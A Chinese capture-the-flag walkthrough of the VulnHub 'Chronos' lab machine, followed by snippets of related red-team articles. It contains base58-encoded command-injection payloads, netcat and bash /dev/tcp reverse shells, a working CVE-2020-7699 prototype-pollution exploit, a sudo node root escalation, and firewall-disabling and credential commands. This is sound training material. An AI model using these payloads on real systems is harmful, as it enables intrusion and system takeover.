VulnHub靶机-Chronos | 红队打靶

VSole2023-05-22 09:26:26

实战打靶系列第 03 篇文章 

靶机地址:

https://www.vulnhub.com/entry/chronos-1,735/

一、主机发现

使用netdiscover工具来进行主机发现(建议只用这款工具的时候,子网掩码比实际的少8位,这样的速度会更快)

netdiscover -r 192.168.56.0/16  

靶机的ip:192.168.56.105kali的ip:192.168.56.103

二、对靶机进一步的探测

1、对靶机进行操作系统、开放端口、运行的服务进行探测

nmap -sT -O -sV -p- 192.168.56.105

可以看到22端口开放的是ssh服务,版本是openssh 7.6p1;80端口跑的是apache的一个http服务;8080端口跑的是使用node.js的Express框架搭建的http服务。

操作系统判断是Linux4.15-5.6

2、使用浏览器对80和8080端口进行访问以及进一步探测

访问80端口,显示一个Chronos - Date & Time

访问8080端口,显示无法连接

那么先对80端口进行目录爆破,看有没有可以利用的目录或者文件

gobuster dir -u http://192.168.56.105 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

没有发现一些有用的目录或者文件

在80端口页面使用ctrl+u快捷键查看80端口的源码

这是一个html的代码,但是在代码的底部发现一段特殊的js代码

粘贴到编辑器

这段代码,很多都被加密,但是有一段很是吸引人,并且没有被加密,但是它的参数数据被加密

http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL'

分析一下这段代码,去给chronos.local的8000端口发送一段请求,chronos.local好像是在说靶机本地的8000端口,结合前面的端口发现(还有8000端口无法连接),会不会需要去访问这个域名才能去访问8000端口;所以,去修改kali的host文件,将靶机的这个域名指向靶机8000端口

vim /etc/hosts

重新访问80端口(因为这段代码是在80端口的源代码中)

发现页面出现当前的时间

3、使用Burp Suite去抓取80端口的数据包,进行分析页面变化的原因

在历史记录里面,看到一个get请求,请求的数据包含刚才分析的代码数据

使用到在线的一款工具:cyberchef;去分析发送请求的数据(像base64),使用到cyberchef的一个magic模块

分析出这个数据是一个base58,并且解码成'+Today is %A, %B %d, %Y %H:%M:%S.'

看到这个解码的信息,很像是linux的date命令

在自己的kali上进行测试,date '+Today is %A, %B %d, %Y %H:%M:%S.'

发现和80端口的返回信息一样

在Burp Suite上进一步验证,将刚才的数据包的参数信息修改,重新发送,服务端没有任何返回

那么可以知道80端口的页面变化信息是由format后面的数据结合服务段的date命令进行返回的

三、获取初始shell

结合上面的信息收集和进一步的探测,可以利用format后面的参数来尝试反弹shell

linux里由很多类似管道符的符号,比如&,||,&,&&等等

1、利用&&的作用,先用Burp Suite发包去探测是否可以使用

因为刚才的代码中,format后面的数据是base58加密,那么可以确定服务端会对format后面的数据进行base58解密,所以要对要传入的数据进行base58加密

&& cat /etc/passwd,加密2amsWhMPZo2e6rNkDbzeRBaZH,通过Burp Suite发包

返回/etc/passwd的数据

&& cd /bin && ls -la,加密(后续默认都已加密发送),发包

发现有bash,也有nc

&&which nc,判断nc是否可以使用,返回Something went wrong,可能对format参数有判断或者过滤

&& nc 192.168.56.103 4444,尝试去连接一下kali(如果发包没有返回,可以尝试去重启靶机)

靶机连接到我的kali,证明没有进行过滤处理,只是进行验证而已

那么尝试去反弹shell

&& nc 192.168.56.103 4444 -e /bin/bash

没有反弹shell,那么nc的版本可能过久,没有-e参数

使用nc串联去反弹shell

&& nc 192.168.56.103 4444 | /bin/bash | nc 192.168.56.103 5555 成功反弹shell,获取到初始shell

四、提权

1、第一次提权(imera)

sudo -l没有权限访问

cat /etc/crontab查看定时任务

发现有定时任务,但是这个定时任务的目录下,发现有文件,但是没有权限

当前的目录为/opt/chronos,ls发现有一个package.json,查看一下,这是node.js的引用库

同样来到/opt/chronos-v2,发现有backend目录,进去发现也和/opt/chronos一样的文件,但是多了一个server.js,查看package.json和server.js

发现server.js是一个只允许靶机本地访问的服务,开放在本地的8080端口,是用来文件上传的服务

而package.json中多了一个模块,express-fileupload

通过百度等搜索引擎,发现node.js有一个“原型污染“的漏洞,漏洞编号CVE-2020-7699,而这个漏洞的要求是”parseNested”特征为ture,靶机刚好满足这个要求,那么寻找exp

import requests
cmd = 'bash -c "bash -i &> /dev/tcp/192.168.56.103/1234 0>&1"'
#pollute
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (    None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
#execute command
requests.get('http://127.0.0.1:8080')

将代码上传到靶机(shell.py)

python3 shell.py执行(kali开启监听),提权成功,

2、第二次提权(root)

输入sudo -l,有可以不用root密码就可以执行的文件

那么通过node来进行提权(sudo滥用的文件可以通过搜索引擎去找到相应提权的技巧)

sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'

提升为root权限并且拿到第二个flag

参考资料:https://www.aqniukt.com/goods/show/2434?targetId=16289&preview=0
shell80端口
本作品采用《CC 协议》,转载必须注明作者和本文链接
红队渗透项目之MinUv1
2022-07-05 21:13:22
红队渗透
段时间在一次内网中遇到了一个问题,当时想了很多办法,虽然最终没能解决但是也学了很多东西。
当我们渗透一个网站时发现从网站渗透不进去的时候,就可以查看该网站主机开启了哪些端口,来从其开启的端口来进行入侵
在2号机上右击,以管理员权限执行,kali就可以接收到反弹回来的shell,对shell进行操作。使用ms-sql-brute模块对6号机sa账户进行爆破,获得用户名为sa,密码为123456nmap -p 1433 --script ms-sql-brute --script-args userdb=C:\Users\Waldo1111test\Desktopame.txt,passdb=C:\Users\Waldo1111test\Desktop\password.txt 192.168.141.116. 使用sqltools获取6号机数据库用xp_cmdshell关闭防火墙限制netsh firewall set opmode mode=disable. 添加3389入站规则netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow. 抓到域控管理员账号和密码:在4号机上,使用以下命令建立IPC$连接net use \\192.168.141.100 "hb123456,./$" /user:"Administrator"
UDP版本将会在收到UDP包后回应含有垃圾字符的包。伪造两个chargen服务器之间的UDP包。入侵者寻找SMTP服务器是为了传递他们的SPAM。客户端向68端口广播请求配置,服务器向67端口广播回应请求。POP3服务有许多公认的弱点。关于用户名和密码交 换缓冲区溢出的弱点至少有20个,这意味着入侵者可以在真正登陆前进入系统。成功登陆后还有其他缓冲区溢出错误。这将会停止缓慢的连接。
在网络技术中,端口一般有两种含义: (1)硬件设备中的端口TCP/IP协议中的端口
自己的小网站跑在阿里云的 ECS 上面, 偶尔也去分析分析自己网站服务器日志,看看网站的访问量。看看有没有黑阔搞破坏!于是收集,整理一些服务器日志分析命令,大家可以试试!配合sort进一步排序。uniq -c 相当于分组统计并把统计数放在最前面cat?
自己的小网站跑在阿里云的 ECS 上面, 偶尔也去分析分析自己网站服务器日志,看看网站的访问量。看看有没有黑客搞破坏!于是收集,整理一些服务器日志分析命令,大家可以试试!配合sort进一步排序。uniq -c 相当于分组统计并把统计数放在最前面cat?
VSole
网络安全专家